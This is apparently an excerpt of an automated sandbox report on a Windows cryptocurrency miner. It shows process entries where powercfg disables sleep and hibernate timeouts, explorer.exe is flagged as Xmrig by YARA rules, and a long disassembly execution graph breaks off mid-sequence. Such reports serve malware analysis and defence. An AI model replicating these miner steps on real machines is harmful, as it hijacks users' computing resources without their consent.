                                              Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:52
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:53
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:54
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:55
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\powercfg.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                              Imagebase:0x7ff7cf900000
                                              File size:96'256 bytes
                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:56
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:57
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:true

                                              General

                                              Target ID:58
                                              Start time:13:25:13
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\conhost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\system32\conhost.exe
                                              Imagebase:0x7ff6d64d0000
                                              File size:862'208 bytes
                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Has exited:false

                                              General

                                              Target ID:59
                                              Start time:13:25:14
                                              Start date:02/08/2024
                                              Path:C:\Windows\explorer.exe
                                              Wow64 process (32bit):false
                                              Commandline:explorer.exe
                                              Imagebase:0x7ff674740000
                                              File size:5'141'208 bytes
                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000003.2173281186.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000003.2173155346.0000000001647000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000003.2173155346.000000000163E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003B.00000002.4492113616.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                              Has exited:false

                                              General

                                              Target ID:62
                                              Start time:13:25:48
                                              Start date:02/08/2024
                                              Path:C:\Windows\System32\svchost.exe
                                              Wow64 process (32bit):false
                                              Commandline:C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                              Imagebase:0x7ff7e52b0000
                                              File size:55'320 bytes
                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                              Has elevated privileges:true
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Has exited:false

                                              Disassembly

                                              Reset < >

                                                Execution Graph

                                                Execution Coverage:2.2%
                                                Dynamic/Decrypted Code Coverage:0%
                                                Signature Coverage:13.8%
                                                Total number of Nodes:899
                                                Total number of Limit Nodes:2
                                                execution_graph 2987 140001ac3 2990 140001a70 2987->2990 2988 14000199e 2992 140001a0f 2988->2992 2993 1400019e9 VirtualProtect 2988->2993 2989 140001b36 2991 140001ba0 4 API calls 2989->2991 2990->2988 2990->2989 2994 140001b53 2990->2994 2991->2994 2993->2988 2089 140001ae4 2090 140001a70 2089->2090 2091 14000199e 2090->2091 2092 140001b36 2090->2092 2095 140001b53 2090->2095 2094 140001a0f 2091->2094 2096 1400019e9 VirtualProtect 2091->2096 2097 140001ba0 2092->2097 2096->2091 2100 140001bc2 2097->2100 2098 140001c04 memcpy 2098->2095 2100->2098 2101 140001c45 VirtualQuery 2100->2101 2102 140001cf4 2100->2102 2101->2102 2106 140001c72 2101->2106 2103 140001d23 GetLastError 2102->2103 2104 140001d37 2103->2104 2105 140001ca4 VirtualProtect 2105->2098 2105->2103 2106->2098 2106->2105 2134 140001404 2207 140001394 2134->2207 2136 140001413 2137 140001394 2 API calls 2136->2137 2138 140001422 2137->2138 2139 140001394 2 API calls 2138->2139 2140 140001431 2139->2140 2141 140001394 2 API calls 2140->2141 2142 140001440 2141->2142 2143 140001394 2 API calls 2142->2143 2144 14000144f 2143->2144 2145 140001394 2 API calls 2144->2145 2146 14000145e 2145->2146 2147 140001394 2 API calls 2146->2147 2148 14000146d 2147->2148 2149 140001394 2 API calls 2148->2149 2150 14000147c 2149->2150 2151 140001394 2 API calls 2150->2151 2152 14000148b 2151->2152 2153 140001394 2 API calls 2152->2153 2154 14000149a 2153->2154 2155 140001394 2 API calls 2154->2155 2156 1400014a9 2155->2156 2157 140001394 2 API calls 2156->2157 2158 1400014b8 2157->2158 2159 140001394 2 API calls 2158->2159 2160 1400014c7 2159->2160 2161 140001394 2 API calls 2160->2161 2162 1400014d6 2161->2162 2163 1400014e5 2162->2163 2164 140001394 2 API calls 2162->2164 2165 140001394 2 API calls 2163->2165 2164->2163 2166 1400014ef 2165->2166 2167 1400014f4 2166->2167 2168 140001394 2 API calls 2166->2168 2169 140001394 2 API calls 2167->2169 2168->2167 2170 1400014fe 2169->2170 2171 140001503 2170->2171 2172 140001394 2 API calls 2170->2172 2173 140001394 2 API calls 2171->2173 2172->2171 2174 14000150d 2173->2174 2175 140001394 2 API calls 2174->2175 2176 140001512 2175->2176 2177 140001394 2 API calls 2176->2177 2178 140001521 2177->2178 2179 140001394 2 API calls 2178->2179 2180 140001530 2179->2180 2181 140001394 2 API calls 2180->2181 2182 14000153f 2181->2182 2183 140001394 2 API calls 2182->2183 2184 14000154e 2183->2184 2185 140001394 2 API calls 2184->2185 2186 14000155d 2185->2186 2187 140001394 2 API calls 2186->2187 2188 14000156c 2187->2188 2189 140001394 2 API calls 2188->2189 2190 14000157b 2189->2190 2191 140001394 2 API calls 2190->2191 2192 14000158a 2191->2192 2193 140001394 2 API calls 2192->2193 2194 140001599 2193->2194 2195 140001394 2 API calls 2194->2195 2196 1400015a8 2195->2196 2197 140001394 2 API calls 2196->2197 2198 1400015b7 2197->2198 2199 140001394 2 API calls 2198->2199 2200 1400015c6 2199->2200 2201 140001394 2 API calls 2200->2201 2202 1400015d5 2201->2202 2203 140001394 2 API calls 2202->2203 2204 1400015e4 2203->2204 2205 140001394 2 API calls 2204->2205 2206 1400015f3 2205->2206 2208 140006630 malloc 2207->2208 2209 1400013b8 2208->2209 2210 1400013c6 NtDisableLastKnownGood 2209->2210 2210->2136 2211 140002104 2212 140002111 EnterCriticalSection 2211->2212 2216 140002218 2211->2216 2213 14000220b LeaveCriticalSection 2212->2213 2219 14000212e 2212->2219 2213->2216 2214 140002272 2215 140002241 DeleteCriticalSection 2215->2214 2216->2214 2216->2215 2218 140002230 free 2216->2218 2217 14000214d TlsGetValue GetLastError 2217->2219 2218->2215 2218->2218 2219->2213 2219->2217 2107 140001e65 2108 140001e67 signal 2107->2108 2109 140001e7c 2108->2109 2110 140001e99 2108->2110 2109->2110 2111 140001e82 signal 2109->2111 2111->2110 2995 140001f47 2996 140001e67 signal 2995->2996 2998 140001e99 2995->2998 2997 140001e7c 2996->2997 2996->2998 2997->2998 2999 140001e82 signal 2997->2999 2999->2998 2112 14000216f 2113 140002185 2112->2113 2114 140002178 InitializeCriticalSection 2112->2114 2114->2113 2115 140001a70 2116 14000199e 2115->2116 2119 140001a7d 2115->2119 2117 140001a0f 2116->2117 2118 1400019e9 VirtualProtect 2116->2118 2118->2116 2119->2115 2120 140001b53 2119->2120 2121 140001b36 2119->2121 2122 140001ba0 4 API calls 2121->2122 2122->2120 2220 140001e10 2221 140001e2f 2220->2221 2222 140001ecc 2221->2222 2225 140001eb5 2221->2225 2227 140001e55 2221->2227 2223 140001ed3 signal 2222->2223 2222->2225 2224 140001ee4 2223->2224 2223->2225 2224->2225 2226 140001eea signal 2224->2226 2226->2225 2227->2225 2228 140001f12 signal 2227->2228 2228->2225 3000 140002050 3001 14000205e EnterCriticalSection 3000->3001 3002 1400020cf 3000->3002 3003 1400020c2 LeaveCriticalSection 3001->3003 3004 140002079 3001->3004 3003->3002 3004->3003 3005 1400020bd free 3004->3005 3005->3003 3006 140001fd0 3007 140001fe4 3006->3007 3008 140002033 3006->3008 3007->3008 3009 140001ffd EnterCriticalSection LeaveCriticalSection 3007->3009 3009->3008 2237 140001ab3 2238 140001a70 2237->2238 2238->2237 2239 14000199e 2238->2239 2240 140001b36 2238->2240 2243 140001b53 2238->2243 2242 140001a0f 2239->2242 2244 1400019e9 VirtualProtect 2239->2244 2241 140001ba0 4 API calls 2240->2241 2241->2243 2244->2239 2079 140001394 2083 140006630 2079->2083 2081 1400013b8 2082 1400013c6 NtDisableLastKnownGood 2081->2082 2084 14000664e 2083->2084 2087 14000667b 2083->2087 2084->2081 2085 140006723 2086 14000673f malloc 2085->2086 2088 140006760 2086->2088 2087->2084 2087->2085 2088->2084 2229 14000219e 2230 140002272 2229->2230 2231 1400021ab EnterCriticalSection 2229->2231 2232 140002265 LeaveCriticalSection 2231->2232 2234 1400021c8 2231->2234 2232->2230 2233 1400021e9 TlsGetValue GetLastError 2233->2234 2234->2232 2234->2233 2123 140001800 2124 140001812 2123->2124 2125 140001835 fprintf 2124->2125 2126 140001000 2127 14000108b __set_app_type 2126->2127 2128 140001040 2126->2128 2130 1400010b6 2127->2130 2128->2127 2129 1400010e5 2130->2129 2132 140001e00 2130->2132 2133 140006bd0 __setusermatherr 2132->2133 2235 140002320 strlen 2236 140002337 2235->2236 2245 140001140 2248 140001160 2245->2248 2247 140001156 2249 1400011b9 2248->2249 2250 14000118b 2248->2250 2251 1400011d3 2249->2251 2252 1400011c7 _amsg_exit 2249->2252 2250->2249 2253 1400011a0 Sleep 2250->2253 2254 140001201 _initterm 2251->2254 2255 14000121a 2251->2255 2252->2251 2253->2249 2253->2250 2254->2255 2271 140001880 2255->2271 2258 14000126a 2259 14000126f malloc 2258->2259 2260 14000128b 2259->2260 2262 1400012d0 2259->2262 2261 1400012a0 strlen malloc memcpy 2260->2261 2261->2261 2261->2262 2282 140003250 2262->2282 2264 140001315 2265 140001344 2264->2265 2266 140001324 2264->2266 2269 140001160 78 API calls 2265->2269 2267 140001338 2266->2267 2268 14000132d _cexit 2266->2268 2267->2247 2268->2267 2270 140001366 2269->2270 2270->2247 2272 140001247 SetUnhandledExceptionFilter 2271->2272 2273 1400018a2 2271->2273 2272->2258 2273->2272 2274 14000194d 2273->2274 2278 140001a20 2273->2278 2275 140001ba0 4 API calls 2274->2275 2277 14000199e 2274->2277 2275->2274 2276 1400019e9 VirtualProtect 2276->2277 2277->2272 2277->2276 2278->2277 2279 140001b36 2278->2279 2281 140001b53 2278->2281 2280 140001ba0 4 API calls 2279->2280 2280->2281 2285 140003266 2282->2285 2283 140003356 wcslen 2394 14000153f 2283->2394 2285->2283 2287 14000354e 2287->2264 2290 140003451 2293 140003477 memset 2290->2293 2295 1400034a9 2293->2295 2296 1400034f9 wcslen 2295->2296 2297 14000350f 2296->2297 2301 14000354c 2296->2301 2298 140003520 _wcsnicmp 2297->2298 2299 140003536 wcslen 2298->2299 2298->2301 2299->2298 2299->2301 2300 140003611 wcscpy wcscat memset 2303 140003650 2300->2303 2301->2300 2302 140003693 wcscpy wcscat memset 2304 1400036d6 2302->2304 2303->2302 2305 1400037de wcscpy wcscat memset 2304->2305 2306 140003820 2305->2306 2307 140003b68 wcslen 2306->2307 2308 140003b76 2307->2308 2312 140003bab 2307->2312 2309 140003b80 _wcsnicmp 2308->2309 2310 140003b96 wcslen 2309->2310 2309->2312 2310->2309 2310->2312 2311 140003c91 wcscpy wcscat memset 2314 140003cd3 2311->2314 2312->2311 2313 140003d16 wcscpy wcscat memset 2315 140003d5c 2313->2315 2314->2313 2316 140003d8c wcscpy wcscat 2315->2316 2317 140006183 memcpy 2316->2317 2319 140003dbe 2316->2319 2317->2319 2318 140003f11 wcslen 2320 140003f56 2318->2320 2319->2318 2321 140003fbb wcslen memset 2320->2321 2534 14000157b 2321->2534 2323 14000463f memset 2326 14000466e 2323->2326 2325 1400046b3 wcscpy wcscat wcslen 2575 14000146d 2325->2575 2326->2325 2329 140004629 2332 14000145e 2 API calls 2329->2332 2330 140004853 2338 140004892 memset 2330->2338 2331 14000157b 2 API calls 2363 1400040e4 2331->2363 2334 140004624 2332->2334 2334->2323 2336 1400047c3 2661 1400014a9 2336->2661 2337 14000486f 2340 14000145e 2 API calls 2337->2340 2342 140006264 2338->2342 2343 1400048b6 wcscpy wcscat wcslen 2338->2343 2340->2330 2362 1400049e0 2343->2362 2346 14000485f 2348 14000145e 2 API calls 2346->2348 2347 14000145e 2 API calls 2347->2363 2348->2330 2350 140004454 _wcsnicmp 2353 14000460c 2350->2353 2350->2363 2354 14000145e 2 API calls 2353->2354 2357 140004618 2354->2357 2355 140004847 2358 14000145e 2 API calls 2355->2358 2356 140004ad9 wcslen 2360 14000153f 2 API calls 2356->2360 2361 14000145e 2 API calls 2357->2361 2358->2330 2359 1400044b2 _wcsnicmp 2359->2353 2359->2363 2360->2362 2361->2334 2362->2356 2365 140005e0f memcpy 2362->2365 2366 140005f4c memcpy 2362->2366 2368 140004c4d wcslen 2362->2368 2369 1400050ed wcslen 2362->2369 2370 140004e8d wcslen 2362->2370 2374 140005f84 memcpy 2362->2374 2375 140005aa1 wcscpy wcscat wcslen 2362->2375 2376 140004f10 memset 2362->2376 2378 140004f7a wcslen 2362->2378 2382 140004fe2 _wcsnicmp 2362->2382 2383 14000145e NtDisableLastKnownGood malloc 2362->2383 2384 140005bec 2362->2384 2385 1400027d0 11 API calls 2362->2385 2386 140005c97 wcslen 2362->2386 2388 140005849 memset 2362->2388 2389 140005a40 memset 2362->2389 2390 1400058ab memset 2362->2390 2391 140006076 memcpy 2362->2391 2392 140005905 wcscpy wcscat wcslen 2362->2392 2777 1400014d6 2362->2777 2822 140001521 2362->2822 2920 140001431 2362->2920 2363->2323 2363->2329 2363->2331 2363->2347 2363->2350 2363->2359 2364 140004506 _wcsnicmp 2363->2364 2367 1400042d7 wcsstr 2363->2367 2551 140001599 2363->2551 2564 1400015a8 2363->2564 2364->2353 2364->2363 2365->2362 2366->2362 2367->2353 2367->2363 2371 14000153f 2 API calls 2368->2371 2372 14000153f 2 API calls 2369->2372 2373 14000157b 2 API calls 2370->2373 2371->2362 2372->2362 2373->2362 2374->2362 2377 140001422 2 API calls 2375->2377 2376->2362 2377->2362 2379 1400015a8 2 API calls 2378->2379 2379->2362 2382->2362 2383->2362 2384->2264 2385->2362 2387 1400015a8 2 API calls 2386->2387 2387->2362 2388->2362 2388->2389 2389->2362 2390->2362 2391->2362 2851 140001422 2392->2851 2395 140001394 2 API calls 2394->2395 2396 14000154e 2395->2396 2397 140001394 2 API calls 2396->2397 2398 14000155d 2397->2398 2399 140001394 2 API calls 2398->2399 2400 14000156c 2399->2400 2401 140001394 2 API calls 2400->2401 2402 14000157b 2401->2402 2403 140001394 2 API calls 2402->2403 2404 14000158a 2403->2404 2405 140001394 2 API calls 2404->2405 2406 140001599 2405->2406 2407 140001394 2 API calls 2406->2407 2408 1400015a8 2407->2408 2409 140001394 2 API calls 2408->2409 2410 1400015b7 2409->2410 2411 140001394 2 API calls 2410->2411 2412 1400015c6 2411->2412 2413 140001394 2 API calls 2412->2413 2414 1400015d5 2413->2414 2415 140001394 2 API calls 2414->2415 2416 1400015e4 2415->2416 2417 140001394 2 API calls 2416->2417 2418 1400015f3 2417->2418 2418->2287 2419 140001503 2418->2419 2420 140001394 2 API calls 2419->2420 2421 14000150d 2420->2421 2422 140001394 2 API calls 2421->2422 2423 140001512 2422->2423 2424 140001394 2 API calls 2423->2424 2425 140001521 2424->2425 2426 140001394 2 API calls 2425->2426 2427 140001530 2426->2427 2428 140001394 2 API calls 2427->2428 2429 14000153f 2428->2429 2430 140001394 2 API calls 2429->2430 2431 14000154e 2430->2431 2432 140001394 2 API calls 2431->2432 2433 14000155d 2432->2433 2434 140001394 2 API calls 2433->2434 2435 14000156c 2434->2435 2436 140001394 2 API calls 2435->2436 2437 14000157b 2436->2437 2438 140001394 2 API calls 2437->2438 2439 14000158a 2438->2439 2440 140001394 2 API calls 2439->2440 2441 140001599 2440->2441 2442 140001394 2 API calls 2441->2442 2443 1400015a8 2442->2443 2444 140001394 2 API calls 2443->2444 2445 1400015b7 2444->2445 2446 140001394 2 API calls 2445->2446 2447 1400015c6 2446->2447 2448 140001394 2 API calls 2447->2448 2449 1400015d5 2448->2449 2450 140001394 2 API calls 2449->2450 2451 1400015e4 2450->2451 2452 140001394 2 API calls 2451->2452 2453 1400015f3 2452->2453 2453->2290 2454 14000156c 2453->2454 2455 140001394 2 API calls 2454->2455 2456 14000157b 2455->2456 2457 140001394 2 API calls 2456->2457 2458 14000158a 2457->2458 2459 140001394 2 API calls 2458->2459 2460 140001599 2459->2460 2461 140001394 2 API calls 2460->2461 2462 1400015a8 2461->2462 2463 140001394 2 API calls 2462->2463 2464 1400015b7 2463->2464 2465 140001394 2 API calls 2464->2465 2466 1400015c6 2465->2466 2467 140001394 2 API calls 2466->2467 2468 1400015d5 2467->2468 2469 140001394 2 API calls 2468->2469 2470 1400015e4 2469->2470 2471 140001394 2 API calls 2470->2471 2472 1400015f3 2471->2472 2472->2290 2473 14000145e 2472->2473 2474 140001394 2 API calls 2473->2474 2475 14000146d 2474->2475 2476 140001394 2 API calls 2475->2476 2477 14000147c 2476->2477 2478 140001394 2 API calls 2477->2478 2479 14000148b 2478->2479 2480 140001394 2 API calls 2479->2480 2481 14000149a 2480->2481 2482 140001394 2 API calls 2481->2482 2483 1400014a9 2482->2483 2484 140001394 2 API calls 2483->2484 2485 1400014b8 2484->2485 2486 140001394 2 API calls 2485->2486 2487 1400014c7 2486->2487 2488 140001394 2 API calls 2487->2488 2489 1400014d6 2488->2489 2490 1400014e5 2489->2490 2491 140001394 2 API calls 2489->2491 2492 140001394 2 API calls 2490->2492 2491->2490 2493 1400014ef 2492->2493 2494 1400014f4 2493->2494 2495 140001394 2 API calls 2493->2495 2496 140001394 2 API calls 2494->2496 2495->2494 2497 1400014fe 2496->2497 2498 140001503 2497->2498 2499 140001394 2 API calls 2497->2499 2500 140001394 2 API calls 2498->2500 2499->2498 2501 14000150d 2500->2501 2502 140001394 2 API calls 2501->2502 2503 140001512 2502->2503 2504 140001394 2 API calls 2503->2504 2505 140001521 2504->2505 2506 140001394 2 API calls 2505->2506 2507 140001530 2506->2507 2508 140001394 2 API calls 2507->2508 2509 14000153f 2508->2509 2510 140001394 2 API calls 2509->2510 2511 14000154e 2510->2511 2512 140001394 2 API calls 2511->2512 2513 14000155d 2512->2513 2514 140001394 2 API calls 2513->2514 2515 14000156c 2514->2515 2516 140001394 2 API calls 2515->2516 2517 14000157b 2516->2517 2518 140001394 2 API calls 2517->2518 2519 14000158a 2518->2519 2520 140001394 2 API calls 2519->2520 2521 140001599 2520->2521 2522 140001394 2 API calls 2521->2522 2523 1400015a8 2522->2523 2524 140001394 2 API calls 2523->2524 2525 1400015b7 2524->2525 2526 140001394 2 API calls 2525->2526 2527 1400015c6 2526->2527 2528 140001394 2 API calls 2527->2528 2529 1400015d5 2528->2529 2530 140001394 2 API calls 2529->2530 2531 1400015e4 2530->2531 2532 140001394 2 API calls 2531->2532 2533 1400015f3 2532->2533 2533->2290 2535 140001394 2 API calls 2534->2535 2536 14000158a 2535->2536 2537 140001394 2 API calls 2536->2537 2538 140001599 2537->2538 2539 140001394 2 API calls 2538->2539 2540 1400015a8 2539->2540 2541 140001394 2 API calls 2540->2541 2542 1400015b7 2541->2542 2543 140001394 2 API calls 2542->2543 2544 1400015c6 2543->2544 2545 140001394 2 API calls 2544->2545 2546 1400015d5 2545->2546 2547 140001394 2 API calls 2546->2547 2548 1400015e4 2547->2548 2549 140001394 2 API calls 2548->2549 2550 1400015f3 2549->2550 2550->2363 2552 140001394 2 API calls 2551->2552 2553 1400015a8 2552->2553 2554 140001394 2 API calls 2553->2554 2555 1400015b7 2554->2555 2556 140001394 2 API calls 2555->2556 2557 1400015c6 2556->2557 2558 140001394 2 API calls 2557->2558 2559 1400015d5 2558->2559 2560 140001394 2 API calls 2559->2560 2561 1400015e4 2560->2561 2562 140001394 2 API calls 2561->2562 2563 1400015f3 2562->2563 2563->2363 2565 140001394 2 API calls 2564->2565 2566 1400015b7 2565->2566 2567 140001394 2 API calls 2566->2567 2568 1400015c6 2567->2568 2569 140001394 2 API calls 2568->2569 2570 1400015d5 2569->2570 2571 140001394 2 API calls 2570->2571 2572 1400015e4 2571->2572 2573 140001394 2 API calls 2572->2573 2574 1400015f3 2573->2574 2574->2363 2576 140001394 2 API calls 2575->2576 2577 14000147c 2576->2577 2578 140001394 2 API calls 2577->2578 2579 14000148b 2578->2579 2580 140001394 2 API calls 2579->2580 2581 14000149a 2580->2581 2582 140001394 2 API calls 2581->2582 2583 1400014a9 2582->2583 2584 140001394 2 API calls 2583->2584 2585 1400014b8 2584->2585 2586 140001394 2 API calls 2585->2586 2587 1400014c7 2586->2587 2588 140001394 2 API calls 2587->2588 2589 1400014d6 2588->2589 2590 1400014e5 2589->2590 2591 140001394 2 API calls 2589->2591 2592 140001394 2 API calls 2590->2592 2591->2590 2593 1400014ef 2592->2593 2594 1400014f4 2593->2594 2595 140001394 2 API calls 2593->2595 2596 140001394 2 API calls 2594->2596 2595->2594 2597 1400014fe 2596->2597 2598 140001503 2597->2598 2599 140001394 2 API calls 2597->2599 2600 140001394 2 API calls 2598->2600 2599->2598 2601 14000150d 2600->2601 2602 140001394 2 API calls 2601->2602 2603 140001512 2602->2603 2604 140001394 2 API calls 2603->2604 2605 140001521 2604->2605 2606 140001394 2 API calls 2605->2606 2607 140001530 2606->2607 2608 140001394 2 API calls 2607->2608 2609 14000153f 2608->2609 2610 140001394 2 API calls 2609->2610 2611 14000154e 2610->2611 2612 140001394 2 API calls 2611->2612 2613 14000155d 2612->2613 2614 140001394 2 API calls 2613->2614 2615 14000156c 2614->2615 2616 140001394 2 API calls 2615->2616 2617 14000157b 2616->2617 2618 140001394 2 API calls 2617->2618 2619 14000158a 2618->2619 2620 140001394 2 API calls 2619->2620 2621 140001599 2620->2621 2622 140001394 2 API calls 2621->2622 2623 1400015a8 2622->2623 2624 140001394 2 API calls 2623->2624 2625 1400015b7 2624->2625 2626 140001394 2 API calls 2625->2626 2627 1400015c6 2626->2627 2628 140001394 2 API calls 2627->2628 2629 1400015d5 2628->2629 2630 140001394 2 API calls 2629->2630 2631 1400015e4 2630->2631 2632 140001394 2 API calls 2631->2632 2633 1400015f3 2632->2633 2633->2330 2634 140001530 2633->2634 2635 140001394 2 API calls 2634->2635 2636 14000153f 2635->2636 2637 140001394 2 API calls 2636->2637 2638 14000154e 2637->2638 2639 140001394 2 API calls 2638->2639 2640 14000155d 2639->2640 2641 140001394 2 API calls 2640->2641 2642 14000156c 2641->2642 2643 140001394 2 API calls 2642->2643 2644 14000157b 2643->2644 2645 140001394 2 API calls 2644->2645 2646 14000158a 2645->2646 2647 140001394 2 API calls 2646->2647 2648 140001599 2647->2648 2649 140001394 2 API calls 2648->2649 2650 1400015a8 2649->2650 2651 140001394 2 API calls 2650->2651 2652 1400015b7 2651->2652 2653 140001394 2 API calls 2652->2653 2654 1400015c6 2653->2654 2655 140001394 2 API calls 2654->2655 2656 1400015d5 2655->2656 2657 140001394 2 API calls 2656->2657 2658 1400015e4 2657->2658 2659 140001394 2 API calls 2658->2659 2660 1400015f3 2659->2660 2660->2336 2660->2337 2662 140001394 2 API calls 2661->2662 2663 1400014b8 2662->2663 2664 140001394 2 API calls 2663->2664 2665 1400014c7 2664->2665 2666 140001394 2 API calls 2665->2666 2667 1400014d6 2666->2667 2668 1400014e5 2667->2668 2669 140001394 2 API calls 2667->2669 2670 140001394 2 API calls 2668->2670 2669->2668 2671 1400014ef 2670->2671 2672 1400014f4 2671->2672 2673 140001394 2 API calls 2671->2673 2674 140001394 2 API calls 2672->2674 2673->2672 2675 1400014fe 2674->2675 2676 140001503 2675->2676 2677 140001394 2 API calls 2675->2677 2678 140001394 2 API calls 2676->2678 2677->2676 2679 14000150d 2678->2679 2680 140001394 2 API calls 2679->2680 2681 140001512 2680->2681 2682 140001394 2 API calls 2681->2682 2683 140001521 2682->2683 2684 140001394 2 API calls 2683->2684 2685 140001530 2684->2685 2686 140001394 2 API calls 2685->2686 2687 14000153f 2686->2687 2688 140001394 2 API calls 2687->2688 2689 14000154e 2688->2689 2690 140001394 2 API calls 2689->2690 2691 14000155d 2690->2691 2692 140001394 2 API calls 2691->2692 2693 14000156c 2692->2693 2694 140001394 2 API calls 2693->2694 2695 14000157b 2694->2695 2696 140001394 2 API calls 2695->2696 2697 14000158a 2696->2697 2698 140001394 2 API calls 2697->2698 2699 140001599 2698->2699 2700 140001394 2 API calls 2699->2700 2701 1400015a8 2700->2701 2702 140001394 2 API calls 2701->2702 2703 1400015b7 2702->2703 2704 140001394 2 API calls 2703->2704 2705 1400015c6 2704->2705 2706 140001394 2 API calls 2705->2706 2707 1400015d5 2706->2707 2708 140001394 2 API calls 2707->2708 2709 1400015e4 2708->2709 2710 140001394 2 API calls 2709->2710 2711 1400015f3 2710->2711 2711->2346 2712 140001440 2711->2712 2713 140001394 2 API calls 2712->2713 2714 14000144f 2713->2714 2715 140001394 2 API calls 2714->2715 2716 14000145e 2715->2716 2717 140001394 2 API calls 2716->2717 2718 14000146d 2717->2718 2719 140001394 2 API calls 2718->2719 2720 14000147c 2719->2720 2721 140001394 2 API calls 2720->2721 2722 14000148b 2721->2722 2723 140001394 2 API calls 2722->2723 2724 14000149a 2723->2724 2725 140001394 2 API calls 2724->2725 2726 1400014a9 2725->2726 2727 140001394 2 API calls 2726->2727 2728 1400014b8 2727->2728 2729 140001394 2 API calls 2728->2729 2730 1400014c7 2729->2730 2731 140001394 2 API calls 2730->2731 2732 1400014d6 2731->2732 2733 1400014e5 2732->2733 2734 140001394 2 API calls 2732->2734 2735 140001394 2 API calls 2733->2735 2734->2733 2736 1400014ef 2735->2736 2737 1400014f4 2736->2737 2738 140001394 2 API calls 2736->2738 2739 140001394 2 API calls 2737->2739 2738->2737 2740 1400014fe 2739->2740 2741 140001503 2740->2741 2742 140001394 2 API calls 2740->2742 2743 140001394 2 API calls 2741->2743 2742->2741 2744 14000150d 2743->2744 2745 140001394 2 API calls 2744->2745 2746 140001512 